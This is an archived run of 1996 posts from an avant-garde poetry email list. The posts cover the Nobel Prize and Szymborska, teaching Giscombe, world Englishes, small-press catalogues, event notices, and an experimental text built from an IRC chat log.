Susan Schultz
Andrew Levy
Jefferson Hansen
Rodrigo Toscano
Carolyn Koo
Joe Ross
Rod Smith
Jean Donnelly
Mark DuCharme
Mark Wallace
Connie Deanovich

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B City
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Dekalb Illonois 60115

↑ Index

93. Kevin Killian

Hope you all can come to my play

Sun 6 Oct 1996

Hi everyone, this is Kevin Killian.

If any of you are going to be in the Bay Area on Wednesday (October 9) (and I know many of you will be), then please come to my play, "Wet Paint," which Small Press Traffic is presenting in collaboration with the San Francisco Art Institute, in conjunction with the "Beat Culture and the New America" show which has just opened here in S.F.

It's on Wednesday, October 9, 7:30 p.m. at the San Francisco Art Institute Lecture Hall (800 Chestnut Street at Jones Street, SF)‹a block up from Columbus. And cheap! It is only $6 to get in‹four dollars if you are a student or a member of Small Press Traffic. And if you attend the Art Institute you get in free.

One woman . . . Jay DeFeo . . . walking a perilous tightrope between obscurity and fame in the late 1950s. The brilliant romantic artist, taunted by sister Kay de Feo, a mind so vicious she sneaks in night after night to dash more paint on Jay¹s finished production. Jay, woman, rebel, artist, haunted by a shoplifting arrest in her past, and puzzled by how dark her apartment seems to be getting. And the men in her life, the _cute guys_ who made North Beach a bongodelia of high art and Beat esteem--Bruce Conner, Wallace Berman, Michael McClure, Wally Hedrick, Kenneth Anger. And the visitors from Mexico, who dared Jay De Feo to her masterpiece por chevre--Frida Kahlo and Diego Rivera! Her shady psychiatrist, pressuring her to abandon feminist art work and return to Hallmark sell-out. The Hollywood starlet who came to the Fillmore to study up for an important role--Tuesday Weld. And Janis Joplin, the woman who worshipped Jay and inspired ³The Rose.²

"They invented a new kind of art . . . and a new kind of SEX to go with it!" Starring D-L Alvarez, David Buuck, Ethel Chase, Norma Cole, Margaret Crane, Kate Delos, Kathi Georges, Phoebe Gloeckner, Craig Goodman, Jonathan Hammer, Clifford Hengst, Scott Hewicker, Caitlin Mitchell-Dayton, Karla Milosevich, Rex Ray, Michelle Rollman, Leslie Scalapino, Wayne Smith and Alicia Wing.

Actually, the play will have no reference to the artist (and former iconoclast) Bruce Conner, whose attorneys wrote to me very sternly shortly after the publicity began to unfold about my play. They claimed they had an advance copy of my play (wrong! I just finished it yesterday!) and that under no circumstance was I to use his a) name b) image or c) likeness in what he calls a "frivolous exploitation" of his work. I wanted to hire a lawyer of my own, to accuse him of prior restraint, etc., --but decided not to, it's supposed to be fun. So come on

down and help me pay tribute to a great artist, Jay DeFeo, and the California funk assemblage movement in general. Thanks for your bandwidth everyone.

↑ Index

94. Gabrielle Welford
Re: Heidsieck before Heaney
Sun 6 Oct 1996

On Sat, 5 Oct 1996, Ron Silliman wrote:

> *Heaney on the other hand might be an argument for recognition of different modes of English as different languages,*

I must leeeeap in here. Please say more. This is an idea that intrigues me so much I want to fashion it into some kind of dissertation--having sprung into it via Finnegans Wake rather than Heaney. And as a political reclaiming move, like Tom Leonard foregrounding the local English over mainstream (or BBC as he says), as Susan Schultz says of Lois Ann Yamanaka here. And the local Englishes--as I well know from having lived in Ireland and Hawai'i--rooted in the grammar and much of the vocabulary of the language(s) that was there before. gab.

↑ Index

95. Thomas Bell
Re: poetry and play
Sun 6 Oct 1996

Does the current bankruptcy of Duty and Truth leave poetry as play as the lone pillar?

From the apparently infamous Steele book:

"Kant's _Critique_ 'Poetry...expands the mind by giving freedom to the imagination...free, spontaneous, and independent of determination by nature..as a sort of schema for, the supersensible. It plays with semblance, which it produces at will, but not as an instrument of deception; for its avowed purpose is merely one of play.'

"Poetry lacks direct relevance to the world of empirical fact and ethics...it is merely 'play'...spontaneous...'self-active' Power of Imagination'"

Poe - "Poetry of words.._The Rhythmical Creation of Beauty_. Its sole arbiter is Taste. With the

Intellect or with the Conscience, it has only
collateral relations. Unless incidentally, it has no
concern whatever either with Duty or Truth."

↑ Index

96. alan sondheim
terrible true account of the origin of the text
Mon 7 Oct 1996

2.81

A True Account

I went onto IRC to investigate breathing/heaving through textual correc- tions and backups. I joined channel #zz as @Alan op. There was no one else of course. I began typing when "Helis" (changed the name) replied to me. Helis was not on zz, but was somehow monitoring it and messaging me with com- ments. This is precisely the origin of scattering/heaving - the breath- ing of the text here, beyond the control of _this_ writing into the domain of the _other:_

/j zz<P> #zz \|/ PhoEniX v2.25 \|/ *** Alan ([redacted]) has joined channel #zz*** Users on #zz: @Alan @Alan (+is) #zz \|/ PhoEniX v2.25 \|/ I want to Describig ng desire as it implements itself across

the screen, whatreen, what<Alan> Describing desire as it implements itself across the screen, what<P> I8AM @Alan (+is) #zz Lag ? - E/X E/X 'd refer to as breathing or heaving - which is an extension of the _text-t

he _text-object_<Alan> I'd refer to as breathing or heaving - an extension of the _text-object_<P> into a symptomology, diegesis - thinking through the aura that rera that re- sults<Alan> into a symptomology, diegesis - thinking through the aura tha

t results<P> [Helis:[redacted]] why do you think this?or thinking 9AM @Alan (+is) #zz Lag ? - E/X E/X at cross-purposes - as if: an action, i.e.:<Alan> or thinking at cross-purposes - as if: an action, i.e.:<P> /m Mel

is why not becua ause this is running in this fashion<-[Helis]-> why not be- cause this is running in this fashion<P> /me worrying through the text and in- trusion of the fourth -* Alan worrying through the text and intrusion of the fourth -<P> /whois Helis<

P> *** Whois Information for: Helis*** Address :
[redacted]*** IRCNAME : NEKKED WOMAN*** Server :
irc.ilstu.edu ([thor.cmp.ilstu.edu] Illinois State
University)[Helis:[redacted]] you are strange40AM @Alan (+is)

#zz Lag ? - E/X 1 - E/X /m Helis i'd think so to be sure -<-[Helis]-> i'd think so to be sure -<P> /sc<P> Pub: #zz @Alan taking it further with the other coming into the sane<Alan> taking it further with the other comin

g into the sane<P> /me auratic, downtrodden...* Alan auratic, downtrodden...<P> /1AM @Alan (+is) #zz Lag ? - E/X l1 - E/X <P> *** Alan has left channel #zzAlan (+is) Lag 1 - E/X

↑ Index

97. John Cayley
Reality Street Editions Web Site
Mon 7 Oct 1996

Please visit Reality Street Editions' new web site at:

http://www.demon.co.uk/eastfield/reality/

... and keep visiting, since we will be adding new content, including hypertextual arrangements of work by cris cheek, Miles Champion and others.

Email inquiries, orders, etc. to *Ken Edwards* please:
[redacted]

As a reminder of what's on offer, here is an author/title listing:

cheek, cris & Jones, Sianed
Songs from Navigation 1-874400-09-1 GB Pounds: 12.50

Corcoran, Kelvin
Lyric Lyric 1-874400-00-8 GB Pounds: 5.99

Duncan, Andrew
Cut Memories and False Commands 0-9507018-6-6 O/P

Edwards, Ken
Good Science (pub. by Roof Books) 0-937804-48-7 GB Pounds: 6
A4 Landscape 0-9507018-5-8 GB Pounds: 2.50

Fisher, Allen
Dispossession and Cure 1-874400-03-2 GB Pounds: 6.50
Unpolished Mirrors 0-9507018-2-3 GB Pounds: 15 (signed edition only)

Gevirtz, Susan
Taken Place 1-874400-02-4 GB Pounds: 6.50

Howe, Fanny
O'Clock 1-874400-07-5 GB Pounds: 6.50

Kirsch, Sarah
The Brontes Hats 0-904225-13-5 GB Pounds: 7.99
(signed edition GB Pounds: 15)
T 1-874400-05-9 GB Pounds: 4.50

James, John
Dreaming Flesh 0-904225-14-3 GB Pounds: 5.99
Kinderlieder (pub. by Avocado) No isbn, GB Pounds: 7.00

Mulford, Wendy
The Bay of Naples 0-9507018-8-2 GB Pounds: 5.99
(signed edition GB Pounds: 15)

O'Sullivan, Maggie
In the House of the Shaman 1-874400-01-6 GB Pounds: 6.50

O'Sullivan, Maggie (ed.)
Out of Everywhere 1-874400-08-3 GB Pounds: 9.00

Raworth, Tom
Catacoustics 0-904225-12-7 GB Pounds: 5.99

Reedy, Carlyle
The Orange Notebook 0-9507018-3-1 O/P

Riley, Denise
Mop Mop Georgette 1-874400-04-0 GB Pounds: 6.50

Riley, Peter
Distant Points 1-874400-06-7 GB Pounds: 6.50

RSE 4Packs 1
Champion, Miles
Kidd, Helen
Tarlo, Harriet
Thurston, Scott
Sleight of Foot 1-874400-10-5 GB Pounds: 5.00

Seed, John
Interior in the Open Air 0-9507018-9-0 GB Pounds: 5.99
(signed edition GB Pounds: 10)

Welch, John
Blood and Dreams 0-9507018-7-4 GB Pounds: 6.95
(signed edition GB Pounds: 10)

Wilkinson/Rodefer/Mengham
Writing out of Character 0-904225-15-1 GB Pounds: 6.50

Reality Studios magazine
Set of 6 volumes, Reality Studios 5-10 (1983-88) GB Pounds: 20

Email inquiries, orders, etc. to *Ken Edwards* please:
[redacted]

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98. John Cayley
Many Press Web Site
Mon 7 Oct 1996

The Many Press (London) has just set up a web site at:

http://www.demon.co.uk/eastfield/many/

Please visit it when you can. The site is based on the 1995 annotated catalogue which covered 20 years of the press's output. It's a long and interesting list and it continues to grow.

"The Press when founded was part of the poetic revival of the late Sixties and early Seventies; there was a feeling, quite widely shared, that much of what was most interesting was likely to be found outside the productions of the mainstream publishers. Changes in the technology of typesetting and printing also had much to do with it. During the Seventies I printed a number of publications at the Printshop of the Poetry Society. Financially the Press has always been a non-profit-making venture, though the limitations of my time and energy, rather than financial considerations, are what have mainly restricted the Press' output."

- from the introduction to the catalogue by the editor, John Welch

John Welch does not have an email account, but I can forward messages to him if they are sent to:
[redacted]

Here is the author/title list. For more details of the books and their availability, please go to the site.

Paul Ashton
Farmworker's Story

Anthony Barnett
Quiet Facts

Kate Bass
The Onion House

Alison Brackenbury
Two Poems

John Cayley
- Under it All

Alfred Celestine
- Confessions of Nat Turner

David Chaloner
- Today Backwards

Amarjit Chandan
- Being Here

Andrew Crozier
- Were There

Tim Dooley
- Three Poems

Ricardo Duranti
- The Archer's Paradox

Cory Harding
- The Art of Flicker Book Speech

Jeremy Harding
- The Book, The Bay, The Breakfast Table

Ralph Hawkins
- English Literature

Neville Hodgson
- Privileged A Ticket

Anthony Howell
- The Mekon
- Winter's Not Gone

Peter Hughes
- Bar Magenta
- The Interior Designer's Late Morning
- The Metro Poems

Charles Ingham
- The Alexander Graham Bell Poems
- Writing a Letter Home

Nicholas Johnson
- Listening to the Stones

Martha Kapos
- The Boy Under the Water

Judith Kazantis
Two Poems

Nicholas Lafitte
Near Calvary

B. C. Leale
Three Poems

Tom Lowenstein
Booster: A Game of Divination
Filibustering in Samsara
The Shaman Aningatchaq
La Tempesta's X-Ray

Barry MacSweeney
Hellhound Memos

The Many Review

Brian Marley
Turbines

Simon Marsh
Bar Magenta
The Vinyl Hat Years

Rod Mengham
Glow-Worms

Peter Middleton
Signs

Ruth Padel
Alibi

Jeremy Reed
Jack's in his Corset

Peter Riley
The Musicians The Instruments

Peter Robinson
Anaglypta
Going Out to Vote
Overdrawn Account

Sudeep Sen
New York Times

Vittorio Sereni
- The Disease of the Elm

Andrew Shelley
- Peaceworks

W. G. Shepherd
- The Antonine Poems
- The First Zone of the Growth Furnace
- The Gifted Child
- Three Odes of Horace

Colin Simms
- Time Over Tyne
- Voices

Ian Sinclair
- The Penances

Six Towns Poetry Festival
- Peacocks Two

James Sutherland-Smith
- The Country of Rumour
- Death of a Vixen
- A Singer from Sabiya

Martin Thom
- Ceremonial Devices

Peter Tingey

Nick Totton
- Seeing It Through
- A Talisman

Vanessa Poetry Magazine

Irving Weinmann
- The Eye of the Storm

John Welch
- Braiding the Squadron
- Erasures
- Estuary
- The Fish God Problem
- Five Poems Five Landscapes
- For a Birth
- Grieving Signal

- Hydrangea
- Performance
- The Storms/Lip-Service
- Six of Five

Nigel Wheale
- The Plains of Sight
- Phrasing the Light
- Simples

Peter Winter
- The Steel Chair
- Twenty One Poems

John Welch does not have an email account, but I can forward messages to him if they are sent to:
[redacted]

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99. John Cayley
Ig-nobel
Mon 7 Oct 1996

(I guess I may have missed the punctuation for 'tongue-in-cheek', since the post was otherwise great but I can't resist the following, in case anyone thinks she was born there or something...)

> *Pearl Buck remains the only Chinese writer to have won,*

"Chinese" ?????? !!!!!!

"writer" ?

There are also some members of the gliterati on both sides of the Atlantic (but not, as far as I know, on the "far" side of the Pacific) who think that Jung Chang (author _Ugly Ducklings_) is a "Chinese writer".

"Chinese" ?

"writer" ?????? !!!!!!

... It's just that this is precisely the sort of problem that those of us trying to get Chinese writers *read* 'over here' have to deal with. The general reader *does* think that Pearl Buck, Han Suyin, Jung Chang etc. are Chinese writing.

- - - - - >
John Cayley Wellsweep Press [in Chinese HZ:]
^ innovative literary translation from Chinese ^

1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
http://www.demon.co.uk/eastfield/

< - - - - -

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100. **John Cayley**

New Books from the Many Press

Mon 7 Oct 1996

MANY PRESS (London, UK)

NEW PUBLICATIONS

Peaceworks by Andrew Shelley.
Poems. 24pp. 1996. GB Pounds: 3.00. 0 907326 34 X

Andrew Shelley was born in Huddersfield in 1962. He was educated at the University of Cambridge and at Oxford where he held a fellowship and wrote a doctoral dissertation on Samuel Beckett. He has also held scholarships at the universities of Athens, Crete and Istanbul. His articles and literary journalism have appeared in a wide range of publications including Essays in Criticism and The Sunday Times and his poetry in various little magazines and anthologies. He is currently preparing a collection of poems and a prose work. He lives in Oxford.

Shelley's is an intellectual yet sensuous poetry in which the insisted-upon details of individual experience are held in often rebarbative contact with the increasingly embattled categories of mind that support shared life, common society. Despite this, by virtue of a reasoned intuition that attends as much to the particular contingencies of life - at home in work and love - as to their wider determinations, there occur moments of great lyrical intensity in which thinking and feeling combine.

The Onion House by Kate Bass.
Poems. 16pp. 1996. GB Pounds: 2.50. 0 907326 35 8

Kate Bass was born in East Finchley in North London in 1962. Poems of hers have appeared in magazines; this is her first collection to be published. After graduating in Chemistry from Edinburgh University in the early eighties she worked for the Patent Agency in London. In 1989 Kate Bass moved to Cambridge; since 1993 she has been studying Illustration at Anglia Polytechnic University.

Kate Bass' poems combine directness with a strong sense of mystery. There is great accomplishment in the apparently calm and ordered balance of her narratives; but always underlying them a haunting sense of otherness. It is writing which can, for instance, introduce the myth of Persephone in a manner which is all the more effective for seeming quite natural and unforced.

The Onion House features a cover illustration by Kate Bass.

Prices include postage, but if you cannot send funds in British pounds, please add US$ 8.00 to cover bank charges.

Please also visit the Many Press web site:
http://www.demon.co.uk/eastfield/many/

Please order direct from:

The Many Press
15 Norcott Road
London N16 7BJ
England

email inquiries (must be forwarded): [redacted]

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101. **Kevin Killian**
Re: Szymborska/Heaney/Nobels
Mon 7 Oct 1996

At 10:37 AM 10/7/96, Joe Amato wrote:
>still, i was pressing a bit to
>ask whether, in fact, there is some inertia around here when it comes to
>self-critique, by which i mean critique of more experimental forms... and
>the only way i know to handle this w/o presumption is to propose judgments
>along with a sense of where one is coming from...
>
>but mebbe that's just the point---mebbe there's already the assumption of
>some shared assumptions that not everybody around here shares...

First of all, I don't think that tolerance for other schools has ever lead to good poetry or art--or has ever been a requirement for poets or artists. Poets should have the right to draw from whatever feeds them and to dismiss the rest.

And you and others are right that drivel is a really ugly, dismissive word. I never would have used it--it does reverb with bigotry.

I don't think that people who are into expermental writing (langpo being just one vein of that) do have these uniformly shared assumptions. When this list was smaller there was lots of fighting going on among the members. I think people are very aware of the lack of shared asssumptions on this list. I think that's why many people I'd like to be hearing from are no longer posting. There has to be a certain common ground for things to be worth discussing.

Dodie

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102. **Kevin Killian**

Re: Giscombe/Fugitive

Mon 7 Oct 1996

At 9:33 AM 10/7/96, Daniel Bouchard wrote:

> *I will strive to be more careful with my choice of words.*

Yes, Dan, please do that.

Dan's posting reminded me that I never responded to any of the responses to my original post. First of all, thanks for all the support and good suggestions I received on this list and back channel.

By way of follow-up, the two ringleaders of the racist responses dropped my class. The remaining nine students are sweet as can be. I enjoy all of them. Their written responses to Giscombe were not racist. One guy, without ever referring to the Giscombe essay, wrote this gruesome little story about capturing mice in traps. I liked it a lot. I encourage them to give "creative" responses to the readings, not essays.

When we had our follow-up discussion, neither of the ringleaders was there and the rest of the class apologized to me for not being more vocal in combatting them. One woman who hadn't read the essay when the blow-up happened said she went home and read it and was very confused about what the problem was for the other students.

I think that the extreme negative reaction to the essay went beyond racism--I think that many of the students found the Giscombe essay more formally challenging than I had anticipated--to me it was pretty straightforward. I think its unconventional formal elements were threatening to some and they didn't have the vocabulary to address that (beyond "This guy can't write!") and so they attacked something they knew how to talk about.

Dodie

↑ Index

103. Ron Silliman
SOME OTHER KIND OF MISSION
Mon 7 Oct 1996

Anselm sugggests that the Nobel prize committee wants work that won't cause short circuits in their brains (or rapid sub-cranial movements of any kind). Big surprise. My own favorite would have been Bao Dei, who has written some poems that read well in English. And it would have been nice to have had a laureate younger than I. It may be that his work has "smoothened" out to reach that take-it-slow crowd. Remember, that if they gave it for music, Tom Jones would've had a Nobel years ago.

Still, I think there's always the question (often a political one) of how a given writer's work fits into her/his society, as such. Brodsky has a very different meaning in Russia (where he represented a total refusal to "play along") than in the US (where he became another Cold War icon) and I've often wondered *which* Brodsky won the prize.

If there were justice in this world, we'd be hearing the names Creeley and Ginsberg on the short list for such awards, not to mention Rakoski, Guest, Ortiz, Grahn....

On the other hand, if you want to give your brains and heart a real workout, there's another great new book out -- SOME OTHER KIND OF MISSION by Lisa Jarnot, from Burning Deck ($11, wherever good books are sold...which means SPD, Woodland Pattern & through Rod at Bridge Street). It'll remind you why you read poetry in the first place.

Ron Silliman

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104. henry
Re: Messerli returing to Szymbroska
Mon 7 Oct 1996

On Sun, 6 Oct 1996 08:51:52 -0700 Douglas Messerli said:
>
>My only response is that there are certainly much
>better ways to present "horror and disaster." Indeed,
>I didn't feel any "horror or disaster" from
>her poem--she persumed it, but her poem certainly
>didn't present me with any. That's my point. It's
>all preconceived. No horror. No disaster in this
>cutesy-pie poem.

I'm sorry to grind another minor issue to small powder - but are you saying there's no irony in the poem? That it's a Norman Rockwell cutesy-pie image of Hitler as child? No, you're not going that far. You're saying she "presumed" the history. Well, I'm saying that was her point: to hide it all in full view. To maintain silence & show Hitler as a child: a shocking thing to do in a poem. You found it distasteful; but however one finds the poem, the reader IS confronted with the history that followed, by means of the concise bizarre fusion of Hitler/child. - Henry Gould

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105. Robert Drake

forward: New Orleans Rev. call for work

Mon 7 Oct 1996

Forwarded message:
Subj: New Orleans Review Call for Work
Date: 96-10-06 16:17:40 EDT
From: Wtlav

New Orleans Review, published by Loyola University, is currently seeking creative written work in any genre. We attempt to publish a wide range of literary material, from traditional to experimental, from Leon Stokesbury to Ron Silliman to Jake Berry. If you would like to submit, please do so by e-mail to:

[redacted]

We can only accept previously unpublished work.

Reply to Wtlav, not to R. Drake...

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106. Bob Holman

Re: POETICS Digest - 5 Oct 1996 to 6 Oct 1996

Mon 7 Oct 1996

To go fast, you start slow. Anybody out there yodling harmelodic lullabyes? My daughter likes "inchworm" from _Hans Christian Andersen_ (Danny Kaye).

Brilliant exegesis of political forces (which Polish intellectual, etc.). Could a Nobel go to an Israeli poet at this moment? Which Bosnian Serb?

Try Eavan Boland's _Object Lessons_ for "other" Irish.

"Mending Sump" rules.

Bob Holman reads his poems at Biblio's, 317 Church just below Canal, NYC, every Monday in Oct, 6:30-8:30. A Retrospective Series from Mad Alex: Ex=tended Play.

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107. Daniel Bouchard

Re: Giscombe/Fugitive

Mon 7 Oct 1996

George Bowering:

"natural in that what they (probably most) are exposed to up to the point of your class" is meant to imply what you are calling "a conditioned response."

I was not saying that bigotry and racism are natural. Perhaps "inevitable" would have been a better word to describe the reactions of students (the students of Dodie and Maria; reactions that students of mine have also had) when presented with ideas and material that radically challenges notions of the world that they may have been brought up with.

I will strive to be more careful with my choice of words.

[redacted]

> *The students you are describing are having a natural reaction to your class. Not natural in the sense that they are correct in their reactions, but natural in that what they (probably most) are exposed to up to the point of your class result predictably in those reactions.*

No, Daniel, that is not a natural reaction. That is a conditioned response. It is something they pick up from their racist families and friends, etc. Nature never was guilty of that kind of prejudice.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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108. **Edward Foster**
Re: LANSING!!! PETTET!!!
Mon 7 Oct 1996

UPDATE! UPDATE! BOSTON'S EVENT OF THE SEASON -- THE GERRIT LANSING, SIMON PETTET READING -- WILL BE HELD IN

> THE SENIOR COMMON ROOM of ADAMS HOUSE
> 26 PLYMTON STREET
> CAMBRIDGE

tommorrow! tesday, october 8th! 7:30 p.m.!

OH YES OH YES OH YES!!!!! YESSSSSSSSSSSSSSSSSSSSSSSSSSSSSS!!!!!!

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109. **Joe Amato**
Re: Szymborska/Heaney/Nobels
Mon 7 Oct 1996

---

well dodie you got a point...

but i got a point too!...

the point is simply this: i haven't heard anybody around here, who's stayed around here for any length of time, dismiss a langpoem (and please permit me this shorthand)---or for that matter much of what you're calling "experimental" work, which i like to think i'm committed to mself---with a tag as summary as douglas's "drivel"...

if this *has* happened, please refresh my memory...

in any case, and being only a bit of a gadfly, i think it's only fair to observe that it FEELS easier around here to tag a nobel laureate's work so than to so tag a poem by, say, zukofski...

now i far prefer, mself, zuk to szymborska... but that's not the point, or at least, not my point... and i agree with rod, insofar that there would seem to be a mainstream against which many different alternative poetries are inevitably 'measured' and dismissed... still, i was pressing a bit to ask whether, in fact, there is some inertia around here when it comes to self-critique, by which i mean critique of more experimental forms... and the only way i know to handle this w/o presumption is to propose judgments along with a sense of where one is coming from...

but mebbe that's just the point---mebbe there's already the assumption of some shared assumptions that not everybody around here shares...

best,

joe

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110. Charles Smith
found
Mon 7 Oct 1996

---

found this yesterday, the Fox network lineup:

Big Deal
Oops
Presidential Debate

charles

↑ Index

111. Burt Kimmelman
Hank Lazer
Mon 7 Oct 1996

Hank,

are you out there? if so, could you backchannel me?

Burt

[redacted]

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112. maria damon
Re: Szymborska/Heaney/Nobels
Mon 7 Oct 1996

---

i guess my problem w/the szymborska pome is that it doesn't do enough to justify itself. it cd be done in 4 lines. i read the 1st stanza w/ some interest, expecting it to go somewhere, but it didn't, it just said the same thing over and over in not very rich language. there aren't enough ideas in it for me, it doesn't accomplish enough on its own terms. alice miller's chapter on hitler's childhood in thou shalt not be aware is far more powerful and developed, regardless of what you think of her theory. md

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113. maria damon
Re: found
Mon 7 Oct 1996

---

cool.

In message <[redacted]> UB Poetics discussion
group writes:
> found this yesterday, the Fox network lineup:
>
>
> Big Deal
> Oops
> Presidential Debate
>
>
>
>
>
> charles

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114. Beth Simon
Re: Szymborska/Heaney/Nobels
Mon 7 Oct 1996

For those interested (no lo etc.)
Clare Cavanaugh will read from her translation of Wislawa Szymborska's

View with a Grain of Sand: Selected Poems

, which, it says here, won
a PEN/Bk of the month award for outstanding transl for 1996 for her
and her collaborator, Stanislaw Baranczak.

She reads in Madison, WI (she's a UW-Madison assoc prof) at Borders Bks on
Oct 8 (tomorrow), at 7:30 pm.

beth simon

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115. Beth Simon
Re: Heidsieck before Heaney
Mon 7 Oct 1996

Dear Gab and Ron S.,

Processes of piginization and creolization, and then decreolization, yes?

beth simon

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116. Jordan Davis
Concentration
Mon 7 Oct 1996

---

the imitable joe amato wrote:
>still, i was pressing a bit to
>ask whether, in fact, there is some inertia around here when it comes to
>self-critique, by which i mean critique of more experimental forms...

and I would direct him to the also imitable Alfred Corn who on the CAP-L side of things is asking EXACTLY THE SAME THING -- which is 'what makes a lang-poem bad.'

What would make a Seamus Heaney poem good? Or for that matter a poem by any of the other 'squish-poets' -- Kinnell Hughes Rich etc -- or the 'pinot-grigio' poets or the coff coff -- go ahead Rod investigate the Best of the year,

but don't think of it as a book of poems, think of it as a game of concentration. When you find an unusual word, try and remember where else in the book you saw THE SAME WORD. When you find a person writing under unusual circumstances, find someone else writing under THE SAME CIRCUMSTANCES. When you notice a profoundly corny figure -- aerial view of town at night -- find another poem with THE EXACT SAME FIGURE.

Do not assume that great poems will simply come along. Ridicule anyone who tells you what you have to do or what you cannot do in a poem.

Joe -- why don't _you_ tell us what a bad language poem is.

Jordan

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117. Joe Amato
Re: Concentration
Mon 7 Oct 1996

---

geez, jordan, alfred corn?...

ok: am trying to get other poetic pov's into this discussion, much in line with dodie's observation that there are those on this list who no longer post (and i feel this latter of late too)... and i've (or had anyway) a hunch that one reason could be possibly b/c they don't want to be accused of liking drivel... but

perhaps this is too too harsh a way of putting things, at least insofar as douglas m. is concerned... i understand that he was himself being provocative... but perhaps in being provocative he touched a nerve that needed touching... in any case, i can imagine a public context (not this one) where i might have mself made an observation similar to douglas's... but my point, again, is why was it made here?...

so, what makes a bad langpoem bad?...

er, no---what makes a langpoem bad?... or what do i expect of such poetry (assuming we could have a "such") that, lacking, i tend to see as bad?... pretty much (isn't this a surprise?) what i would say makes most poetry bad---lack of engagement, of follow-through with the aesthetic... not wringing out of the words so many of their possibilities (and i mean thematic as well), or not creating a formal context through which such wringing might take place...

which is probably an argument for complexity of sorts...

best,

joe

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118. **Jordan Davis**
Re: Concentration
Mon 7 Oct 1996

Joe, I knew you'd take the comparison in stride, that's why I made it --

and I'd be all too quick to rattle off the qualities I think make a non-bad poiem, langly or otherwise -- energy, sufficient complexity, vulnerability (charm),

except that I've been a real ball hog and want to start raking in the assists --

so -- what are some other good qualities? Or does value in poetry work some way that doesn't have to do with qualities?

Jordam

↑ Index

119. **Henry Gould**
Re: Concentration
Mon 7 Oct 1996

On Mon, 7 Oct 1996 15:48:09 -0400 Jordan Davis said:
>
>except that I've been a real ball hog and want to start raking in the assists
>--

>so -- what are some other good qualities? Or does value in poetry work some
>way that doesn't have to do with qualities?

Okay Jrdn, here's something from left field. There are the usual qualities that are called for in your basic good poem: the ones you mentioned, plus music, sense of the language (meaning & sound), originality, sense of past writings, sense of future writings. Let's continue with baseball metaphor & consider realm of poetry a playing field, where sometimes there are levels of standards, not set in stone, but people have a sense of them. Then there are some of real originality who sort of make the game their own. They can do all the basics - but they personalize everything, take it to a new level of freedom & depth.

Some qualities these originals rely on, I believe, that you don't hear much about nowdays, are: anonymity, modesty, renunciation. Tools by which poetry enters other dimensions of the human conversation. Opposite side from mannerism, poem as autotelic object, etc. The danger here, is kind of debased "civic" poetry, poetry used for some manipulative purpose; but the real originals tend to avoid this or transcend this category. This is the feeling of Russian poetry & culture that I harp on now & then & that real exper ts in it (which I'm not) will probably deny: but it's a kind of modesty & solemnity which you just don't hear in American poetry nowdays, that I'm aware of. A solemnity coming from a sense of commitment to a larger conversation, & a free place within it for poetry. Probably has its down side too (the hokum of the Serious). Think of Anonymous as the perennial benchmark for quality. Just rambling here. - Henry G

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120. Libbie Rifkin

Berrigan cites

Mon 7 Oct 1996

Hello List,
Does anyone know where Ashbery says "The academy of the future is opening its doors"? And/or where Apollinaire said it first?

How about where Williams said "The sonnet is dead." I have the interview where he talks about how he hates the sonnet, but that line isn't it.

Berrigan's sonnets have me on a wild goose chase.

Thanks, all.
Libbie

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121. **henry g**
Re: Concentration
Mon 7 Oct 1996

Addendum to previous: maybe part of sense that Russian poetry is part of a larger conversation is due to the fact that Russians not only like to sit around drinking and talking - it's kind of an integral everyday ritual & part of their life (or used to be). The bigger conversation was happening right in your own crowded apartment. - HG

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122. **Michael Coffey**
Re: POETICS Digest - 5 Oct 1996 to 6 Oct 1996 -Reply
Mon 7 Oct 1996

---

bob holman wrote:
Try Eavan Boland's _Object Lessons_ for "other" Irish.

Let me second that recommendation. Boland's memoir (published by Norton last year) is a brilliant critique of an entire tradition, in this case, Irish and Anglo-Irish poetry, which carefully exposes the male domination of the forms, down to the expectations of the poetic voice, the poetic subjects, and the poet himself in his public and private persona, in the pub, in the classroom, in the bedroom. she candidly recounts her own instinctive acknowledgment that this was the case, her early careerist attempt to orient herself as a "male" poet and, only after having met with some unsatisfying success and then experiencing motherhood, did she find an alternative voice, for herself at least, and perhaps for others... her book also broadens, or perhaps it is deepens, the interesting site of struggle that language is in Ireland, which I have always taken as a coherent example of how cultural, political and in boland's case sexual issues are fought out at the level of language. Also, the book is beautifully written.

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123. **kaona**
Re: Englishes/Latins
Mon 7 Oct 1996

---

da kine stay da kine--perhaps an emphatic 'contextuality' is what struck you most? or do you mean something different in saying 'compact'?

On Tue, 8 Oct 1996, Tony Green wrote:

> *Is what happened to Latin i.e."becoming"*
> *French, Spanish, Italian etc and then dying*
> *happening to English, with its wide range of*

> *Englishes. I had an amazing essay written in*
> *a Polynesian English a couple of weeks back.*
> *It was non-standard, but it worked, provided*
> *I worked at translating it to my own version*
> *of English. I cd not find effective paraphrases*
> *that were not cumbersome and awkward,*
> *comparefd to the very compacted language*
> *of the text. It offered an Olsonian "refreshing"*
> *of language. Unfortunately I haven't got it*
> *here to quote. I guess Susan Schultz and Gabrielle*
> *Welford will recognise what I'm talking about.*
>
> *best*
>
> *Tony Green,*
> *e-mail:* [redacted]

↑ Index

124. **Tony Green**
Englishes/Latins
Mon 7 Oct 1996

Is what happened to Latin i.e."becoming"
French, Spanish, Italian etc and then dying
happening to English, with its wide range of
Englishes. I had an amazing essay written in
a Polynesian English a couple of weeks back.
It was non-standard, but it worked, provided
I worked at translating it to my own version
of English. I cd not find effective paraphrases
that were not cumbersome and awkward,
comparefd to the very compacted language
of the text. It offered an Olsonian "refreshing"
of language. Unfortunately I haven't got it
here to quote. I guess Susan Schultz and Gabrielle
Welford will recognise what I'm talking about.

best

Tony Green,
e-mail: [redacted]

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125. Michael Coffey
Re: Concentration -Reply
Mon 7 Oct 1996

jordan davies wrote:

and I'd be all too quick to rattle off the qualities I think make a non-bad poiem, langly or otherwise -- energy, sufficient complexity, vulnerability (charm),

except that I've been a real ball hog and want to start raking in the assists --

ok, i'll bite. I wonder if the call for folks to identify "good" language poems might be met with an embarassment of silences; or perhaps a few nominations, in jordanspeak, of "non-bad langpoems."

i could say, show me a good hannah weiner poem and I'll show you a bad language poem, but i haven't read all of hannah. do i need to?

or p inman, who once read a paper at st mark's that was brilliant. still, i haven't read all of P; do i need to?

for a good language poem: mac low's light poems, all of them. and anything in jackson's From Pearl harbord Day to FDR's birthday, from Sun & Moon.

and Bruce Andrew's Wobbling, or Give em Enough Rope, Fiona Templeton's London.

